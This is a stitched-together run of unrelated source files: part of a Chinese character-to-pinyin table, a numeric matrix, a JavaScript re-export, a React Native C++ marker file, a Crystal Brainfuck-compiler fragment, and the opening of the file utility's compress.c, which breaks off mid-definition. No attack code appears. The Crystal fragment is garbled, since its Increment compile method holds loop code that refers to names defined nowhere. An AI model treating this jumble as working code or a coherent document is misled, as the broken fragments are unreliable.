jiàn,xiàn,jian # 见 U+89C2: guān # 观 U+89C4: guī # 规 U+89C6: shì,shi # 视 U+89C8: lǎn # 览 U+89C9: jué,jiào # 觉 U+89D2: jiǎo,jué # 角 U+89E3: jiě # 解 U+89E6: chù # 触 U+89F8: chù # 觸 U+8A00: yán # 言 U+8A02: dìng # 訂 U+8A08: jì,ji # 計 U+8A0A: xùn # 訊 U+8A0E: tǎo # 討 U+8A13: xun,xùn # 訓 U+8A18: jì,ji # 記 U+8A1D: yà # 訝 U+8A1F: sòng # 訟 U+8A2A: fǎng # 訪 U+8A2D: shè # 設 U+8A31: xǔ # 許 U+8A34: su,sù # 訴 U+8A3A: zhěn # 診 U+8A3C: zhèng # 証 U+8A55: píng # 評 U+8A5E: cí # 詞 U+8A62: xún # 詢 U+8A66: shì # 試 U+8A69: shī # 詩 U+8A6B: chà # 詫 U+8A6D: guǐ # 詭 U+8A71: huà,hua # 話 U+8A72: gāi # 該 U+8A73: xiáng # 詳 U+8A89: yù # 誉 U+8A8D: rèn # 認 U+8A92: éi,ěi,èi # 誒 U+8A93: shì # 誓 U+8A95: dàn # 誕 U+8A98: yòu # 誘 U+8A9E: yǔ # 語 U+8AA0: chéng # 誠 U+8AA1: jiè # 誡 U+8AA3: wū # 誣 U+8AA4: wù,wu # 誤 U+8AA6: sòng # 誦 U+8AAA: shuō # 說 U+8AB0: shuí # 誰 U+8AB2: kè # 課 U+8ABC: yì # 誼 U+8ABF: diào,tiáo # 調 U+8AC7: tán # 談 U+8ACB: qǐng # 請 U+8AD2: liàng # 諒 U+8AD6: lùn # 論 U+8AF7: fěng # 諷 U+8AF8: zhū # 諸 U+8B00: móu,mou # 謀 U+8B02: wèi # 謂 U+8B0A: huǎng # 謊 U+8B19: qiān # 謙 U+8B1B: jiǎng # 講 U+8B1D: xiè,xie # 謝 U+8B20: yáo # 謠 U+8B2C: miù # 謬 U+8B39: jǐn # 謹 U+8B4F: jī # 譏 U+8B58: shi,shí # 識 U+8B66: jǐng # 警 U+8B6C: pì # 譬 U+8B6F: yì # 譯 U+8B70: yì # 議 U+8B74: qiǎn # 譴 U+8B77: hù # 護 U+8B7D: yù # 譽 U+8B80: dú # 讀 U+8B8A: biàn # 變 U+8B93: ràng # 讓 U+8BA1: jì,ji # 计 U+8BA2: dìng # 订 U+8BA4: rèn # 认 U+8BA5: jī # 讥 U+8BA8: tǎo # 讨 U+8BA9: ràng # 让 U+8BAD: xun,xùn # 训 U+8BAE: yì # 议 U+8BAF: xùn # 讯 U+8BB0: jì,ji # 记 U+8BB2: jiǎng # 讲 U+8BB6: yà # 讶 U+8BB8: xǔ # 许 U+8BBA: lùn # 论 U+8BBC: sòng # 讼 U+8BBD: fěng # 讽 U+8BBE: shè # 设 U+8BBF: fǎng # 访 U+8BC1: zhèng # 证 U+8BC4: píng # 评 U+8BC6: shi,shí # 识 U+8BC9: su,sù # 诉 U+8BCA: zhěn # 诊 U+8BCD: cí # 词 U+8BD1: yì # 译 U+8BD5: shì # 试 U+8BD7: shī # 诗 U+8BDA: chéng # 诚 U+8BDD: huà,hua # 话 U+8BDE: dàn # 诞 U+8BE1: guǐ # 诡 U+8BE2: xún # 询 U+8BE5: gāi # 该 U+8BE6: xiáng # 详 U+8BE7: chà # 诧 U+8BEB: jiè # 诫 U+8BEC: wū # 诬 U+8BED: yǔ # 语 U+8BEF: wù,wu # 误 U+8BF1: yòu # 诱 U+8BF4: shuō # 说 U+8BF5: sòng # 诵 U+8BF6: éi,ěi,èi # 诶 U+8BF7: qǐng # 请 U+8BF8: zhū # 诸 U+8BFB: dú # 读 U+8BFE: kè # 课 U+8C01: shuí # 谁 U+8C03: diào,tiáo # 调 U+8C05: liàng # 谅 U+8C08: tán # 谈 U+8C0A: yì # 谊 U+8C0B: móu,mou # 谋 U+8C0E: huǎng # 谎 U+8C13: wèi # 谓 U+8C22: xiè,xie # 谢 U+8C23: yáo # 谣 U+8C26: qiān # 谦 U+8C28: jǐn # 谨 U+8C2C: miù # 谬 U+8C34: qiǎn # 谴 U+8C37: gǔ # 谷 U+8C41: huō # 豁 U+8C46: dòu # 豆 U+8C48: qǐ # 豈 U+8C4C: wān # 豌 U+8C4E: shù # 豎 U+8C61: xiàng # 象 U+8C6A: háo # 豪 U+8C6B: yù # 豫 U+8C6C: zhū # 豬 U+8C79: bào # 豹 U+8C7A: chái # 豺 U+8C8C: mào # 貌 U+8C93: māo # 貓 U+8C9D: bèi # 貝 U+8CA0: fù,fu # 負 U+8CA1: cái # 財 U+8CA2: gòng # 貢 U+8CA7: pín # 貧 U+8CA8: huò # 貨 U+8CA9: fàn # 販 U+8CAA: tān # 貪 U+8CAB: guàn # 貫 U+8CAC: zé # 責 U+8CB4: guì # 貴 U+8CB7: mǎi # 買 U+8CBB: fèi # 費 U+8CBC: tiē # 貼 U+8CBF: mào # 貿 U+8CC0: hè # 賀 U+8CC7: zī # 資 U+8CCA: zéi # 賊 U+8CD3: bīn # 賓 U+8CDE: shǎng # 賞 U+8CE0: péi # 賠 U+8CE3: mài,mai # 賣 U+8CE4: jiàn # 賤 U+8CEA: zhì # 質 U+8CED: dǔ # 賭 U+8CF4: lài # 賴 U+8CFA: zhuàn # 賺 U+8CFC: gòu # 購 U+8CFD: sài # 賽 U+8D0A: zàn # 贊 U+8D1D: bèi # 贝 U+8D1F: fù,fu # 负 U+8D21: gòng # 贡 U+8D22: cái # 财 U+8D23: zé # 责 U+8D25: bài # 败 U+8D27: huò # 货 U+8D28: zhì # 质 U+8D29: fàn # 贩 U+8D2A: tān # 贪 U+8D2B: pín # 贫 U+8D2D: gòu # 购 U+8D2F: guàn # 贯 U+8D31: jiàn # 贱 U+8D34: tiē # 贴 U+8D35: guì # 贵 U+8D38: mào # 贸 U+8D39: fèi # 费 U+8D3A: hè # 贺 U+8D3C: zéi # 贼 U+8D44: zī # 资 U+8D4C: dǔ # 赌 U+8D4F: shǎng # 赏 U+8D54: péi # 赔 U+8D56: lài # 赖 U+8D5A: zhuàn # 赚 U+8D5B: sài # 赛 U+8D5E: zàn # 赞 U+8D64: chì # 赤 U+8D70: zǒu # 走 U+8D74: fù # 赴 U+8D76: gǎn # 赶 U+8D77: qǐ # 起 U+8D81: chèn # 趁 U+8D85: chāo # 超 U+8D8A: yuè # 越 U+8D8B: qū # 趋 U+8D95: gǎn # 趕 U+8D9F: tàng # 趟 U+8DA3: qù # 趣 U+8DA8: qū # 趨 U+8DB3: zú # 足 U+8DB4: pā # 趴 U+8DC3: yuè # 跃 U+8DCC: diē # 跌 U+8DD1: pǎo # 跑 U+8DDB: bǒ # 跛 U+8DDD: jù # 距 U+8DDF: gēn # 跟 U+8DE1: jī # 跡 U+8DE8: kuà # 跨 U+8DEA: guì # 跪 U+8DEF: lù # 路 U+8DF3: tiào # 跳 U+8DF5: jiàn # 践 U+8DFA: duò # 跺 U+8E0C: chóu # 踌 U+8E0F: tà,tā # 踏 U+8E10: jiàn # 踐 U+8E22: tī # 踢 U+8E29: cǎi # 踩 U+8E2A: zōng # 踪 U+8E2E: diǎn # 踮 U+8E31: duó # 踱 U+8E44: tí # 蹄 U+8E48: dǎo # 蹈 U+8E4B: tà # 蹋 U+8E64: zōng # 蹤 U+8E66: bèng # 蹦 U+8E6C: dēng # 蹬 U+8E6D: cèng # 蹭 U+8E72: dūn # 蹲 U+8E81: zào # 躁 U+8E87: chú # 躇 U+8E8A: chóu # 躊 U+8E8D: yuè # 躍 U+8EAB: shēn # 身 U+8EAC: gōng # 躬 U+8EAF: qū # 躯 U+8EB2: duǒ # 躲 U+8EBA: tǎng # 躺 U+8EC0: qū # 軀 U+8ECA: chē # 車 U+8ECB: yà # 軋 U+8ECC: guǐ # 軌 U+8ECD: jūn # 軍 U+8EDF: ruǎn # 軟 U+8EF8: zhóu # 軸 U+8F03: jiào # 較 U+8F09: zài,zǎi # 載 U+8F14: fǔ # 輔 U+8F15: qīng # 輕 U+8F1B: liàng # 輛 U+8F1D: huī # 輝 U+8F29: bèi # 輩 U+8F2A: lún # 輪 U+8F2F: ji,jí # 輯 U+8F38: shū # 輸 U+8F3B: fú # 輻 U+8F3F: yú # 輿 U+8F49: zhuǎn,zhuàn # 轉 U+8F4E: jiào # 轎 U+8F5F: hōng # 轟 U+8F66: chē # 车 U+8F67: yà # 轧 U+8F68: guǐ # 轨 U+8F6C: zhuǎn,zhuàn # 转 U+8F6E: lún # 轮 U+8F6F: ruǎn # 软 U+8F70: hōng # 轰 U+8F74: zhóu # 轴 U+8F7B: qīng # 轻 U+8F7D: zài,zǎi # 载 U+8F7F: jiào # 轿 U+8F83: jiào # 较 U+8F85: fǔ # 辅 U+8F86: liàng # 辆 U+8F88: bèi # 辈 U+8F89: huī # 辉 U+8F90: fú # 辐 U+8F91: ji,jí # 辑 U+8F93: shū # 输 U+8F9B: xīn # 辛 U+8F9C: gū # 辜 U+8F9E: cí # 辞 U+8F9F: pì,bì # 辟 U+8FA3: là # 辣 U+8FA6: bàn # 辦 U+8FA8: biàn # 辨 U+8FA9: biàn # 辩 U+8FAB: biàn # 辫 U+8FAD: cí # 辭 U+8FAE: biàn # 辮 U+8FAF: biàn # 辯 U+8FB1: rǔ # 辱 U+8FB2: nóng # 農 U+8FB9: biān,bian # 边 U+8FBD: liáo # 辽 U+8FBE: dá # 达 U+8FC1: qiān # 迁 U+8FC5: xùn # 迅 U+8FC7: guò,guo # 过 U+8FC8: mài # 迈 U+8FCE: yíng # 迎 U+8FD0: yùn # 运 U+8FD1: jìn # 近 U+8FD4: fǎn # 返 U+8FD8: hái,huán # 还 U+8FD9: zhè # 这 U+8FDB: jìn # 进 U+8FDC: yuǎn # 远 U+8FDD: wéi # 违 U+8FDE: lián # 连 U+8FDF: chí # 迟 U+8FEB: pò # 迫 U+8FF0: shù # 述 U+8FF7: mí # 迷 U+8FF9: jī # 迹 U+8FFD: zhuī # 追 U+9000: tuì # 退 U+9001: sòng # 送 U+9002: shì # 适 U+9003: táo # 逃 U+9009: xuǎn # 选 U+900A: xùn # 逊 U+900F: tòu # 透 U+9010: zhú # 逐 U+9012: dì # 递 U+9014: tú # 途 U+9017: dòu # 逗 U+9019: zhè # 這 U+901A: tōng,tòng # 通 U+901B: guàng # 逛 U+901D: shì # 逝 U+901F: sù # 速 U+9020: zào # 造 U+9022: féng # 逢 U+9023: lián # 連 U+902E: dǎi,dài # 逮 U+9032: jìn # 進 U+903B: luó # 逻 U+903C: bī # 逼 U+9047: yù # 遇 U+904B: yùn # 運 U+904D: biàn # 遍 U+904E: guò,guo # 過 U+9053: dào,dao # 道 U+9054: dá # 達 U+9055: wéi # 違 U+9057: yí # 遗 U+9059: yáo # 遙 U+905C: xùn # 遜 U+905E: dì # 遞 U+9060: yuǎn # 遠 U+9063: qiǎn # 遣 U+9065: yáo # 遥 U+9069: shì # 適 U+906D: zāo # 遭 U+906E: zhē # 遮 U+9072: chí # 遲 U+9075: zūn # 遵 U+9077: qiān # 遷 U+9078: xuǎn # 選 U+907A: yí # 遺 U+907C: liáo # 遼 U+907F: bì # 避 U+9080: yāo # 邀 U+9081: mài # 邁 U+9084: hái,huán # 還 U+908A: biān,bian # 邊 U+908F: luó # 邏 U+90A3: nà # 那 U+90A6: bāng # 邦 U+90AE: yóu # 邮 U+90BB: lín # 邻 U+90C1: yù # 郁 U+90CA: jiāo # 郊 U+90D1: zhèng # 郑 U+90E8: bù # 部 U+90F5: yóu # 郵 U+90FD: dōu,dū # 都 U+9109: xiāng # 鄉 U+9119: bǐ # 鄙 U+912D: zhèng # 鄭 U+9130: lín # 鄰 U+914D: pèi # 配 U+9152: jiǔ # 酒 U+916C: chou # 酬 U+9171: jiàng # 酱 U+9175: jiào # 酵 U+9176: méi # 酶 U+9177: kù # 酷 U+9178: suān # 酸 U+917F: niàng # 酿 U+9189: zuì # 醉 U+918B: cù # 醋 U+9192: xǐng # 醒 U+91AB: yī # 醫 U+91AC: jiàng # 醬 U+91C0: niàng # 釀 U+91C7: cǎi # 采 U+91CA: shì # 释 U+91CB: shì # 釋 U+91CC: lǐ,li # 里 U+91CD: zhòng,chóng # 重 U+91CE: yě # 野 U+91CF: liàng,liang,liáng # 量 U+91D1: jīn # 金 U+91D8: dīng # 釘 U+91DD: zhēn # 針 U+91E3: diào # 釣 U+9214: chāo # 鈔 U+9223: gài # 鈣 U+9234: líng # 鈴 U+9237: gǔ # 鈷 U+923E: yóu # 鈾 U+9257: qián # 鉗 U+925B: qiān # 鉛 U+9264: gōu # 鉤 U+9274: jiàn # 鉴 U+9280: yín # 銀 U+9285: tóng # 銅 U+929C: xián # 銜 U+92B3: ruì # 銳 U+92B7: xiāo # 銷 U+92C1: lǚ # 鋁 U+92C5: xīn # 鋅 U+92D2: fēng # 鋒 U+92E4: chú # 鋤 U+92EA: pù,pū,pu # 鋪 U+92F8: jù # 鋸 U+92FC: gāng # 鋼 U+9304: lù # 錄 U+9318: chuí # 錘 U+9320: dìng # 錠 U+9322: qián,qian # 錢 U+9326: jǐn # 錦 U+932B: xī # 錫 U+932F: cuò # 錯 U+934B: guō # 鍋 U+934D: dù # 鍍 U+935B: duàn # 鍛 U+936C: qiāo # 鍬 U+9375: jiàn # 鍵 U+9382: měi # 鎂 U+9396: suǒ # 鎖 U+93AE: zhèn # 鎮 U+93C8: liàn # 鏈 U+93DF: chǎn # 鏟 U+93E1: jìng # 鏡 U+93FD: xiù # 鏽 U+9418: zhōng # 鐘 U+942E: lián # 鐮 U+9435: tiě # 鐵 U+943A: dang # 鐺 U+9444: zhù # 鑄 U+9452: jiàn # 鑒 U+9470: yào # 鑰 U+9472: xiāng # 鑲 U+947C: luó # 鑼 U+947D: zuān # 鑽 U+947F: záo # 鑿 U+9488: zhēn # 针 U+9489: dīng # 钉 U+9493: diào # 钓 U+9499: gài # 钙 U+949E: chāo # 钞 U+949F: zhōng # 钟 U+94A2: gāng # 钢 U+94A5: yào # 钥 U+94A6: qīn # 钦 U+94A9: gōu # 钩 U+94B1: qián,qian # 钱 U+94B3: qián # 钳 U+94B4: gǔ # 钴 U+94BB: zuān # 钻 U+94C0: yóu # 铀 U+94C1: tiě # 铁 U+94C3: líng # 铃 U+94C5: qiān # 铅 U+94DB: dang # 铛 U+94DC: tóng # 铜 U+94DD: lǚ # 铝 U+94F2: chǎn # 铲 U+94F6: yín # 银 U+94F8: zhù # 铸 U+94FA: pù,pū,pu # 铺 U+94FE: liàn # 链 U+9500: xiāo # 销 U+9501: suǒ # 锁 U+9504: chú # 锄 U+9505: guō # 锅 U+9508: xiù # 锈 U+950B: fēng # 锋 U+950C: xīn # 锌 U+9510: ruì # 锐 U+9519: cuò # 错 U+9521: xī # 锡 U+9523: luó # 锣 U+9524: chuí # 锤 U+9526: jǐn # 锦 U+952D: dìng # 锭 U+952E: jiàn # 键 U+952F: jù # 锯 U+9539: qiāo # 锹 U+953B: duàn # 锻 U+9540: dù # 镀 U+9541: měi # 镁 U+9547: zhèn # 镇 U+955C: jìng # 镜 U+9570: lián # 镰 U+9576: xiāng # 镶 U+9577: zhǎng,cháng # 長 U+957F: zhǎng,cháng # 长 U+9580: mén,men # 門 U+9583: shǎn # 閃 U+9589: bì # 閉 U+958B: kāi # 開 U+9591: xián # 閑 U+9593: jiān,jian,jiàn # 間 U+9598: zhá # 閘 U+95A5: fá # 閥 U+95A8: guī # 閨 U+95B1: yuè # 閱 U+95CA: kuò # 闊 U+95D6: chuǎng # 闖 U+95DC: guān # 關 U+95E1: chǎn # 闡 U+95E8: mén,men # 门 U+95EA: shǎn # 闪 U+95ED: bì # 闭 U+95EE: wèn,wen # 问 U+95EF: chuǎng # 闯 U+95F2: xián # 闲 U+95F4: jiān,jian,jiàn # 间 U+95F7: mèn,mēn # 闷 U+95F8: zhá # 闸 U+95F9: nào,nao # 闹 U+95FA: guī # 闺 U+95FB: wén # 闻 U+9600: fá # 阀 U+9605: yuè # 阅 U+9610: chǎn # 阐 U+9614: kuò # 阔 U+961F: duì # 队 U+9632: fáng # 防 U+9633: yáng # 阳 U+9634: yīn # 阴 U+9635: zhèn # 阵 U+9636: jiē # 阶 U+963B: zǔ # 阻 U+963F: ā # 阿 U+9644: fù # 附 U+9645: jì # 际 U+9646: lù # 陆 U+9648: chén # 陈 U+964B: lòu # 陋 U+964C: mò # 陌 U+964D: jiàng,xiáng # 降 U+9650: xiàn # 限 U+9661: dǒu # 陡 U+9662: yuàn # 院 U+9663: zhèn # 陣 U+9664: chú # 除 U+9669: xiǎn # 险 U+966A: péi # 陪 U+9670: yīn # 陰 U+9673: chén # 陳 U+9675: líng # 陵 U+9676: táo # 陶 U+9677: xiàn # 陷 U+9678: lù # 陸 U+967D: yáng # 陽 U+9686: lóng,lōng # 隆 U+968A: duì # 隊 U+968E: jiē # 階 U+968F: suí # 随 U+9690: yǐn # 隐 U+9694: gé # 隔 U+9698: ài # 隘 U+9699: xì # 隙 U+969B: jì # 際 U+969C: zhàng # 障 U+96A7: suì # 隧 U+96A8: suí # 隨 U+96AA: xiǎn # 險 U+96B1: yǐn # 隱 U+96B6: lì # 隶 U+96B8: lì # 隸 U+96BE: nán,nan,nàn # 难 U+96C0: què # 雀 U+96C4: xióng # 雄 U+96C6: jí # 集 U+96C7: gù # 雇 U+96CC: cí # 雌 U+96D5: diāo # 雕 U+96D6: suī # 雖 U+96D9: shuāng # 雙 U+96DC: zá # 雜 U+96DE: jī # 雞 U+96E2: lí # 離 U+96E3: nán,nan,nàn # 難 U+96E8: yǔ # 雨 U+96EA: xuě # 雪 U+96F6: líng # 零 U+96F7: léi # 雷 U+96F9: báo # 雹 U+96FB: diàn # 電 U+96FE: wù # 雾 U+9700: xū # 需 U+9707: zhèn # 震 U+9709: méi # 霉 U+970E: shà # 霎 U+971C: shuāng # 霜 U+971E: xiá # 霞 U+9727: wù # 霧 U+9732: lù # 露 U+9738: bà # 霸 U+9748: líng,ling # 靈 U+9752: qīng # 青 U+9759: jìng,jing # 静 U+975C: jìng,jing # 靜 U+975E: fēi # 非 U+9760: kào # 靠 U+9762: miàn,mian # 面 U+9769: gé # 革 U+9774: xuē # 靴 U+978B: xié # 鞋 U+978F: gǒng # 鞏 U+97A0: jū # 鞠 U+97AD: biān # 鞭 U+97C1: jiāng # 韁 U+97CC: rèn # 韌 U+97E7: rèn # 韧 U+97F3: yīn # 音 U+97FF: xiǎng # 響 U+9801: yè # 頁 U+9802: dǐng # 頂 U+9803: qǐng # 頃 U+9805: xiàng # 項 U+9806: shùn # 順 U+9808: xū # 須 U+980C: sòng # 頌 U+9810: yù # 預 U+9811: wán # 頑 U+9812: bān # 頒 U+9813: dùn # 頓 U+9817: pō # 頗 U+9818: lǐng # 領 U+982D: tóu,tou # 頭 U+9830: jiá # 頰 U+9838: jǐng # 頸 U+983B: pín # 頻 U+9846: kē # 顆 U+984C: tí # 題 U+984D: é # 額 U+984F: yán # 顏 U+985B: diān # 顛 U+985E: lèi # 類 U+9867: gù # 顧 U+986B: chàn # 顫 U+986F: xiǎn # 顯 U+9875: yè # 页 U+9876: dǐng # 顶 U+9877: qǐng # 顷 U+9879: xiàng # 项 U+987A: shùn # 顺 U+987B: xū # 须 U+987D: wán # 顽 U+987E: gù # 顾 U+987F: dùn # 顿 U+9881: bān # 颁 U+9882: sòng # 颂 U+9884: yù # 预 U+9886: lǐng # 领 U+9887: pō # 颇 U+9888: jǐng # 颈 U+988A: jiá # 颊 U+9891: pín # 频 U+9896: yǐng # 颖 U+9897: kē # 颗 U+9898: tí # 题 U+989C: yán # 颜 U+989D: é # 额 U+98A0: diān # 颠 U+98A4: chàn # 颤 U+98A8: fēng # 風 U+98C4: piāo # 飄 U+98CE: fēng # 风 U+98D8: piāo # 飘 U+98DB: fēi # 飛 U+98DE: fēi # 飞 U+98DF: shí,shi # 食 U+98E2: jī # 飢 U+98EF: fàn # 飯 U+98F2: yǐn # 飲 U+98FC: sì # 飼 U+98FD: bǎo # 飽 U+98FE: shì # 飾 U+9903: jiǎo # 餃 U+9905: bǐng,bing # 餅 U+990A: yǎng # 養 U+9910: cān # 餐 U+9913: è # 餓 U+9921: xiàn # 餡 U+9928: guǎn # 館 U+9945: mán # 饅 U+9952: ráo # 饒 U+995E: chán # 饞 U+9965: jī # 饥 U+996D: fàn # 饭 U+996E: yǐn # 饮 U+9970: shì # 饰 U+9971: bǎo # 饱 U+9972: sì # 饲 U+9976: ráo # 饶 U+997A: jiǎo # 饺 U+997C: bǐng,bing # 饼 U+997F: è # 饿 U+9985: xiàn # 馅 U+9986: guǎn # 馆 U+998B: chán # 馋 U+9992: mán # 馒 U+9996: shǒu # 首 U+9999: xiāng # 香 U+99AC: mǎ # 馬 U+99B1: tuó # 馱 U+99B3: chí # 馳 U+99C1: bó # 駁 U+99D0: zhù # 駐 U+99D2: jū # 駒 U+99D5: jià # 駕 U+99DB: shǐ # 駛 U+99DD: tuo,tuó # 駝 U+99F1: luò # 駱 U+9A0E: qí # 騎 U+9A19: piàn # 騙 U+9A30: téng,teng # 騰 U+9A3E: luó # 騾 U+9A45: qū # 驅 U+9A55: jiāo # 驕 U+9A57: yàn # 驗 U+9A5A: jīng # 驚 U+9A5F: zhòu # 驟 U+9A62: lǘ # 驢 U+9A6C: mǎ # 马 U+9A6E: tuó # 驮 U+9A70: chí # 驰 U+9A71: qū # 驱 U+9A73: bó # 驳 U+9A74: lǘ # 驴 U+9A76: shǐ # 驶 U+9A79: jū # 驹 U+9A7B: zhù # 驻 U+9A7C: tuo,tuó # 驼 U+9A7E: jià # 驾 U+9A82: mà # 骂 U+9A84: jiāo # 骄 U+9A86: luò # 骆 U+9A8C: yàn # 验 U+9A91: qí # 骑 U+9A97: piàn # 骗 U+9AA1: luó # 骡 U+9AA4: zhòu # 骤 U+9AA8: gǔ,gú # 骨 U+9ABC: gé # 骼 U+9AD4: tǐ # 體 U+9AD8: gāo # 高 U+9AE6: máo # 髦 U+9B27: nào,nao # 鬧 U+9B3C: guǐ # 鬼 U+9B42: hún # 魂 U+9B44: pò # 魄 U+9B54: mó # 魔 U+9B5A: yú # 魚 U+9BAE: xiān,xian # 鮮 U+9BC9: lǐ # 鯉 U+9BE8: jīng # 鯨 U+9C77: è # 鱷 U+9C7C: yú # 鱼 U+9C9C: xiān,xian # 鲜 U+9CA4: lǐ # 鲤 U+9CB8: jīng # 鲸 U+9CC4: è # 鳄 U+9CE5: niǎo # 鳥 U+9CE7: fú # 鳧 U+9CF3: fèng # 鳳 U+9CF4: míng # 鳴 U+9D09: yā # 鴉 U+9D28: yā # 鴨 U+9D3F: gē # 鴿 U+9D51: juān # 鵑 U+9D5D: é # 鵝 U+9D6A: ān # 鵪 U+9D72: que # 鵲 U+9D89: chun # 鶉 U+9DD7: ōu # 鷗 U+9DF9: yīng # 鷹 U+9E1D: lí # 鸝 U+9E1F: niǎo # 鸟 U+9E21: jī # 鸡 U+9E23: míng # 鸣 U+9E25: ōu # 鸥 U+9E26: yā # 鸦 U+9E2D: yā # 鸭 U+9E3D: gē # 鸽 U+9E42: lí # 鹂 U+9E43: juān # 鹃 U+9E45: é # 鹅 U+9E4A: que # 鹊 U+9E4C: ān # 鹌 U+9E51: chun # 鹑 U+9E70: yīng # 鹰 U+9E7C: jiǎn # 鹼 U+9E7D: yán # 鹽 U+9E7F: lù # 鹿 U+9E97: lì # 麗 U+9EA5: mài # 麥 U+9EA6: mài # 麦 U+9EBB: má,ma # 麻 U+9EBC: me # 麼 U+9EC3: huáng # 黃 U+9EC4: huáng # 黄 U+9ECE: lí # 黎 U+9ECF: nián # 黏 U+9ED1: hēi # 黑 U+9ED8: mò # 默 U+9EDE: diǎn # 點 U+9EE8: dǎng # 黨 U+9EEF: àn # 黯 U+9EF4: méi # 黴 U+9F13: gǔ # 鼓 U+9F20: shǔ # 鼠 U+9F3B: bí # 鼻 U+9F4A: qí # 齊 U+9F50: qí # 齐 U+9F52: chǐ # 齒 U+9F61: líng # 齡 U+9F7F: chǐ # 齿 U+9F84: líng # 龄 U+9F8D: lóng # 龍 U+9F90: páng # 龐 U+9F99: lóng # 龙 U+9F9C: guī # 龜 U+9F9F: guī # 龟
{ "pile_set_name": "Github" }
11 1000 1 1 1 1 1 1 1 1 1 1 10 787 1 0 0 0 0 0 0 0 0 0 8 763 0 1 0 0 0 0 0 0 0 0 6 720 0 0 1 0 0 0 0 0 0 0 18 648 0 0 0 1 0 0 0 0 0 0 8 479 0 0 0 0 1 0 0 0 0 0 17 386 0 0 0 0 0 1 0 0 0 0 12 325 0 0 0 0 0 0 1 0 0 0 2 317 0 0 0 0 0 0 0 1 0 0 2 307 0 0 0 0 0 0 0 0 1 0 18 278 0 0 0 0 0 0 0 0 0 1 9
{ "pile_set_name": "Github" }
module.exports = require('./overArgs');
{ "pile_set_name": "Github" }
/* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ #include "ReactMarker.h" namespace facebook { namespace react { namespace ReactMarker { #if __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wglobal-constructors" #endif LogTaggedMarker logTaggedMarker = nullptr; #if __clang__ #pragma clang diagnostic pop #endif void logMarker(const ReactMarkerId markerId) { logTaggedMarker(markerId, nullptr); } } // namespace ReactMarker } // namespace react } // namespace facebook
{ "pile_set_name": "Github" }
# crystal comment require "llvm" NUM_CELLS = 30000 CELL_SIZE_IN_BYTES = 1 abstract class Instruction abstract def compile(program, bb) end class Increment < Instruction def initialize(@amount : Int32) end def compile(program, bb) cell_val_is_zero = builder.icmp LLVM::IntPredicate::EQ, cell_val, zero call_args = [@ctx.int32.const_int(NUM_CELLS), @ctx.int32.const_int(CELL_SIZE_IN_BYTES)] builder.cond cell_val_is_zero, loop_after, loop_body_block @body.each do |instruction| loop_body_block = instruction.compile(program, loop_body_block) end builder.position_at_end loop_body_block unless matching_close_index error "Unmatched '[' at position #{i}" end bb end end
{ "pile_set_name": "Github" }
/* * Copyright (c) Ian F. Darwin 1986-1995. * Software written by Ian F. Darwin and others; * maintained 1995-present by Christos Zoulas and others. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice immediately at the beginning of the file, without modification, * this list of conditions, and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ /* * compress routines: * zmagic() - returns 0 if not recognized, uncompresses and prints * information if recognized * uncompress(method, old, n, newch) - uncompress old into new, * using method, return sizeof new */ #include "file.h" #ifndef lint FILE_RCSID("@(#)$File: compress.c,v 1.127 2020/05/31 00:11:06 christos Exp $") #endif #include "magic.h" #include <stdlib.h> #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #include <string.h> #include <errno.h> #include <ctype.h> #include <stdarg.h> #include <signal.h> #ifndef HAVE_SIG_T typedef void (*sig_t)(int); #endif /* HAVE_SIG_T */ #ifndef PHP_WIN32 #include <sys/ioctl.h> #endif #ifdef HAVE_SYS_WAIT_H #include <sys/wait.h> #endif #if defined(HAVE_SYS_TIME_H) #include <sys/time.h> #endif #if defined(HAVE_ZLIB_H) && defined(PHP_FILEINFO_UNCOMPRESS) #define BUILTIN_DECOMPRESS #include <zlib.h> #endif #undef FIONREAD #if defined(PHP_FILEINFO_UNCOMPRESS) #define BUILTIN_BZLIB #include <bzlib.h> #endif #if defined(HAVE_XZLIB_H) && defined(XZLIBSUPPORT) #define BUILTIN_XZLIB #include <lzma.h> #endif #ifdef DEBUG int tty = -1; #define DPRINTF(...) do { \ if (tty == -1) \ tty = open("/dev/tty", O_RDWR); \ if (tty == -1) \ abort(); \ dprintf(tty, __VA_ARGS__); \ } while (/*CONSTCOND*/0) #else #define DPRINTF(...) #endif #ifdef ZLIBSUPPORT /* * The following python code is not really used because ZLIBSUPPORT is only * defined if we have a built-in zlib, and the built-in zlib handles that. * That is not true for android where we have zlib.h and not -lz. */ static const char zlibcode[] = "import sys, zlib; sys.stdout.write(zlib.decompress(sys.stdin.read()))"; static const char *zlib_args[] = { "python", "-c", zlibcode, NULL }; static int zlibcmp(const unsigned char *buf) { unsigned short x = 1; unsigned char *s = CAST(unsigned char *, CAST(void *, &x)); if ((buf[0] & 0xf) != 8 || (buf[0] & 0x80) != 0) return 0; if (s[0] != 1) /* endianness test */ x = buf[0] | (buf[1] << 8); else x = buf[1] | (buf[0] << 8); if (x % 31) return 0; return 1; } #endif #ifdef PHP_FILEINFO_UNCOMPRESS static int lzmacmp(const unsigned char *buf) { if (buf[0] != 0x5d || buf[1] || buf[2]) return 0; if (buf[12] && buf[12] != 0xff) return 0; return 1; } #define gzip_flags "-cd" #define lrzip_flags "-do" #define 